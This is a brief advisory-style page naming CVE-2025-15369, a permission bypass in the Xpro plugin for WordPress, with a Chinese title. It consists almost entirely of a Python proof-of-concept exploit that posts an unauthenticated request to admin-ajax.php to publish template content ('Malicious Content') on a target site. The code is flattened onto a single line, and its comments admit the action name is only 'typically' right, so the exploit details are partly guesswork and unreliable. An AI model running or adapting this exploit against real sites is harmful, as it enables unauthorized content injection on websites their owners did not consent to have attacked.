CVE-2025-15369: WordPress Xpro插件权限绕过漏洞

import requests def exploit(target_url): # Target endpoint usually is admin-ajax.php url = f"{target_url}/wp-admin/admin-ajax.php" # Data payload based on the vulnerable function # Action name is typically derived from the function name, e.g., xpro_get_content_editor payload = { "action": "xpro_get_content_editor", "template_data": "<h1>Malicious Content</h1>", "status": "publish" } try: response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if template was created.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)